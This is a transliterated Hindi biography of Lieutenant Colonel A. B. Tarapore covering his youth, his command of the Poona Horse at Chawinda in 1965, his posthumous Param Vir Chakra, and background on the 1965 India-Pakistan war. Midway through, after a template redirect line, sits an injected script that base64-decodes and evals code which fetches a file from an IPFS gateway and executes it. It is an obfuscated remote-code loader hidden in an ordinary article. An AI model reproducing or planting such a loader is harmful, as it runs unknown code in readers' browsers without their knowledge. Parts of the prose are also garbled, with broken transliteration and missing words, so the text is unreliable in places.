ए. बी. तारापोरे
e. bi. tarapore
| |
| poora nam | leftineant karnal ardeshir barjari tarapore |
| any nam | adi |
| janm | 18 agast, 1923 |
| janm bhoomi | bambee (ab mumbee), maharashtr |
| sthan | chavianda, pakistan |
| sena | haidarabad sena, bharatiy thal sena |
| raiank | leftineant karnal |
| yoonit | d poona h aaurs |
| seva kal | haidarabad sena- 1940-1951; bharatiy sena- 1951-1965 |
| yuddh | bharat pakistan yuddh (1965) |
| samman | paramavir chakr (1965) |
| nagarikata | bharatiy |
| any janakari | e. bi. tarapore ke purakhoan ka sambandh chhatrapati shivaji maharaj ki sena se tha, jinhean virata ke puraskar svaroop 100 gaanv die ge the. unamean ek mukhy gaanv ka nam tara por tha. isalie yah log tarapore kahalae. |
leftineant karnal e. bi. tarapore (aangrezi: Lieutenant Colonel Ardeshir Burzorji Tarapore, janm: 18 agast, 1923; shahadat:16 sitambar, 1965) paramavir chakr se sammanit bharatiy sainik the. unhean yah samman san 1965 mean maranoparaant mila. unaka poora nam 'ardeshir barjari tarapore' hai aur unake sathi unhean 'adi' kahakar pukarate the. e. bi. tarapore ke purakhoan ka sambandh chhatrapati shivaji maharaj ki sena se tha.
jivan parichay
ardeshir tarapore ka janm 18 agast, 1923 ko bambee (ab mumbee), maharashtr mean hua tha. unake purakhoan ka sambandh chhatrapati shivaji maharaj ki sena se tha, jinhean virata ke puraskar svaroop 100 gaanv die ge the. unamean ek mukhy gaanv ka nam tara por tha. isalie yah log tarapore kahalae. bahaduri ki virasat lekar janme tarapore ki prarambhik shiksha saradar dastoor vvayaz skool poona mean huee, jahaan se unhoanne 1940 mean maitrik pas kiya. usake bad unhoanne phauj mean dakhila liya. unaka sainy prashikshan aauphisar treniang skool golakuanda mean poora hua, aur vahaan se yah baiangalor bhej die ge. unhean 1 janavari 1942 ko bataur kamishand aauphisar 7vian haidarabad ianpheantari mean niyukt kiya gaya. adi ne yah niyukti svikar to kar li lekin unaka man bakhtaraband rejimeant mean jane ka tha, jisamean taiank dvara yuddh l da jata hai. vah usamean pahuanche bhi lekin kaise, yah prasang bhi rochak hai.
ek bar unaki bataliyan ka nirikshan chal raha tha jisake adhikari pramukh mejar jaranal iandroj the. indroj stet phorses ke kamandar in chiph bhi the. us samay ardeshir tarapore ki samany dreniang chal rahi thi, jisamean haind grened pheankane ka abhyas jari tha. usamean ek rangaroot ne grened pheanka, jo galati se asurakshit kshetr mean gira. usake visphot se nukasan ki b di sambhavana thi. aise mean, ardeshir tarapore ne phurti se chhalaang lagaee aur us grened ko uthakar surakshit kshetr mean uchhal diya. lekin is bich vah grened phata aur usaki lapet mean adi ghayal ho ge. jab adi thik hue to iandroj ne unhean bula kar unaki tariph ki. usi dam adi ne armd rejimeant mean jane ki ichchha prakat laansars mean lae ge.
bharatiy sena mean
adi, yani lephtineant arnal e. bi. tarapore, 11 sitambar 1965 ko syalakot sektar mean the aur poona h aaurs ki kaman samhal rahe the. chavianda ko jitana 1 korpas ka makasad ge. 11 sitambar, 1965 ko tarapore ko syalakot pakistan ke hi phillaura par achanak hamale ka kam sauanpa gaya. phillaura par ek taraph se hamala karake bharatiy sena ka irada chavianda ko jitane ka tha. is hamale ke dauran tarapore apani tuk di ke sath age badh hi rahe the ki dushman ne vazirali ki taraph se achanak zavabi hamale mean jabaradast golibari shuroo kar di. tarapore ne is hamale ka bahaduri se samana kiya aur apane ek skvedran ko ianphantari ke sath lekar phillaura par hamala bol diya. halaanki tarapore is dauran ghayal ho ge the, lekin unhoanne ran nahian chho da aur jabaradast golibari karate hue date rahe. 14 sitambar ko 1 korpas ke aauphisar kamaandiang ne vichar kiya ki jab tak chaviand ke pichhe b di phauj ka jamav da n bana liya jae, tab tak shahar tak kabja ka pana asan nahian hoga. is hal ko dekhate hue unhoanne 17 h aaurs tatha 8 gadhaval raiphals ko hukum kiya ki 16 sitambar ko jassoran buantur dogaraandi mean ikathta ho.
16 sitambar 1965 ko hi 17 hars ne 9 dogara ki ek kampani ke sath milakar jassoran par kabja kar liya, halaanki isase unaka kafi nukasan hua. udhar 8 gadhaval kampani buantoor agradi par taraph pane mean kamayab ho gee. is morche par bhi hindustani phauj ne bahut kuchh ganvaya aur 8 gadhaval kamaandiang aauphisar jhirad mare ge. 17 h aaurs ke sath tarapore chavianda par hamala banate hue date hue the. mukabala ghamasan tha. isalie 43 ga diyoan ke sath ek tuk di ko hukum diya gaya ki vah bhi jakar chavianda ke hamale mean shamil ho jae lekin vah tuk di vakt par nahian pahuanch paee aur hamala rok dena p da. udhar tarapore ki tuk di unake josh bhare netritv mean joojh rahi thi. unhoanne dushman se sath taiankoan ko barbad kiya tha jisake lie sirph nau taiank ganvane p de the. isi soojh bhare yuddh jab tarapore taiank ki l daee l d rahe the, tabhi vah dushman ke nishane par a ge aur unhoanne dam to d diya. tarapore to shahid ho ge, lekin unaki sena isase dugane josh se bhar uthi aur usaki l daee jari rahi.
paramavir chakr samman
bharat sarakar ne lephtineant arnal e. bi. tarapore ko paramavir chakr se maranoparant sammanit kiya. vah sachamuch desh ka gaurav the. usase bhi b di bat ek aur rahi. pakistan mejar aga humayooan khan aur mejar shamashad ne chavianda ke yuddh par ek alekh likha, jo pakistan ke dipheans janaral mean chhapa. usamean in donoan pakistani adhikariyoan ne lephtineant arnal e. bi. tarapore ke vishay mean likha, ki vah ek bahadur aur ajey yoddha the, jinhoanne poore yuddh kal mean 17 poona h aaurs ka behad kushal sanchalan kiya.
bharat-pakistan yuddh (1965)
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
alag rashtr ho jane ke bad pakistan har halat mean kashmir ko hathiya lene par utaroo tha. 1947-48 mean vibhajan ke turant bad pakistan ne bina sabr dikhae kashmir par phauji hamala kar diya tha, jabaki jammoo kashmir ke maharaja hari sianh ne apana yah nirnay dene ke lie samay maanga tha, ki vah kisi desh ke sath milana chahate haian ya svatantr riyasat bane rahana chahate haian. us l daee mean pakistan ko muanh ki khani p di thi. pakistan har to gaya tha lekin chup nahian baitha tha usaki najar jammoo-kashmir par lagi huee thi. 1962 mean bharat ne chin se yuddh l da tha, jisake prabhav se ubarane mean use samay lag raha tha. mee 1965 mean tatkalin pradhanamantri pandit javaharalal neharoo divangat hue the aur unake bad lal bahadur shastri pradhanamantri banakar ae the. pakistan ne yah sanajhane mean bhool ki thi, ki lal bahadur shastri darasal kitane dridh vyakti haian. aise mean usake man mean kutilata ne phir sir uthaya tha aur usane ek bar phir kashmir jhapatane ke lie yuddh chhe dane ka man bana liya tha.
pakistan is guman mean tha ki usaki arthik sthiti krishi tatha audyaugik kshetr mean majaboot huee hai. usake pas amerika se jutaee huee jabaradast sainy samagri hai jisamean paitan taiank ka nam usake dil mean sabase jyada uchhal raha tha. saibar jait ke char daste bhi use josh dila rahe the. neharoo ka prabhav usake jane ke sath pakistan ke man se mitane laga tha, phir kya tha, pakistan ko laga ki kashmir ko jit lene ke lie isase jyada sunahara mauka vah nahian pa sakata. pahale to pakistan ne, mahaj sthitiyoan ka jayaja lene ke lie kachchh ke ran mean ek simit dayare ka yuddh racha aur is yuddh ki kaman vahaan ke mejar janaral tikka khan ne sanbhali. pakistan ki or se yah hamala 9 aprail 1965 ko kiya gaya. bharat ne isaka javab to diya lekin us javab se vah pakistan ko yah samajhane mean chook gaya ki bharat se ulajhana is bar bhi usake lie har ko nyota dene jaisa hoga. balki kachchh ka natija pakistan ko hausala de gaya ki vah is samay kashmir ko h dap sakata hai. kachchh ke ran ka yuddh aantararashtriy hastakshep se ruk gaya. pakistan ko yuddh viram svikar karake yuddh ke pahale ki yatha sthiti tak vapas ana p da. pakistan ne 30 joon, 1965 ko yuddhaviram ke bad is prastav par hastakshar kie ki is sthiti par tin sadasyoan ka dal ek samajhaute ki rooparekha taiyar karega. bharat is prastav tatha yuddhaviram se nishchit ho gaya lekin pakistan ke man mean to sirph yuddh ka ubal tha aur use kashmir apani jholi mean dekh raha tha. usake lie koee nishpakshiy varta, kuchh bhi arth nahian rakhati thi.
agast ke pahale pakhavare, 1965 mean bharatiy sena ko pata chala ki kashmir ki sima par pakistan ka jabaradast jamav da ban raha hai. pakistan ne is l daee ki taiyari mean jo rananiti apanaee thi, usake anusar yah dutarapha yuddh hona tha. ek to samany phauji l daee, doosare sire par prashikshit gorilla yuddh. pakistan ka aandaj tha ki yah niti use zaroor kamayab karegi. pakistan ne ise 'apareshan jibraltar' ka nam diya. pakistan is bar is sapane ko sakar karane ke mansooboan mean tha ki kashmir to usaka hua hi samajho. sitambar, 1965 ke shuroo mean hi pakistan ne apani karyavahi bakayada apane sainy bal ke sath shuroo kar di. yah l daee bhi kee morchean par huee, lekin chavianda ke ranakshetr mean l da gaya yuddh vishesh mahattv rakhata hai. syalakot sektar mean chavianda ki tarah ka shrey 17 poona h aaurs ke lephtineant karnal ardeshir barjari tarapore ko jata hai, jinhean pyar se unake sathi adi kahate the.
|
|
|
|
|
|
tika tippani aur sandarbh
- pustak- paramavir chakr vijeta | lekhak- ashok gupta | prishth sankhya- 81